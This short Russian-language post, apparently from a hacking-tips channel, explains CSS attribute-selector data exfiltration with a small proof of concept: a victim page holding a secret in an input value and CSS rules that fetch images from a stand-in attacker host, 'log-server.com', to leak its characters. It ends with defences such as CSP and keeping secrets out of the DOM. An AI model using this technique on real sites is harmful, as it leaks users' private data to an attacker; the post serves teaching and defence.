CSS обычно используется для оформления, но может извлекать данные. Это уязвимость, но мы рассмотрим безопасный локальный PoC.
Как это работает:
1. Цель — найти нужный текст (например, email) на странице.
2. Инструмент — CSS меняет стили элементов в зависимости от содержимого
([attr^=], [attr$=], [attr*=] и другие).3. Угроза — злоумышленник подгружает изображения в зависимости от текста и по логам определяет найденные символы.
🖥 Локальный PoC:
HTML-страница (жертва)
<!DOCTYPE html>
<html>
<head>
<title>Личный кабинет</title>
</head>
<body>
<input type="text" value="secret123" id="secret">
</body>
</html>
CSS-«атака»
input[value^="s"] {
background: url("log-server.com/starts-with-s");
}
input[value^="se"] {
background: url("log-server.com/starts-with-se");
}
В реальной атаке l
og-server.com — это сервер злоумышленника, но в нашем примере можно заменить его на локальный http://localhost:8000 и отслеживать запросы в консоли браузера.Как защититься:
➖ Не храните чувствительные данные в DOM, особенно в значении полей value.
➖ Используйте Content-Security-Policy (CSP), чтобы ограничить загрузку ресурсов с неподтверждённых доменов и избежать подключения внешних стилей.
➖ Изолируйте стили между доменами с помощью iframe sandbox, чтобы предотвратить манипуляции с внешними ресурсами.
🐸 Библиотека хакера
#буст
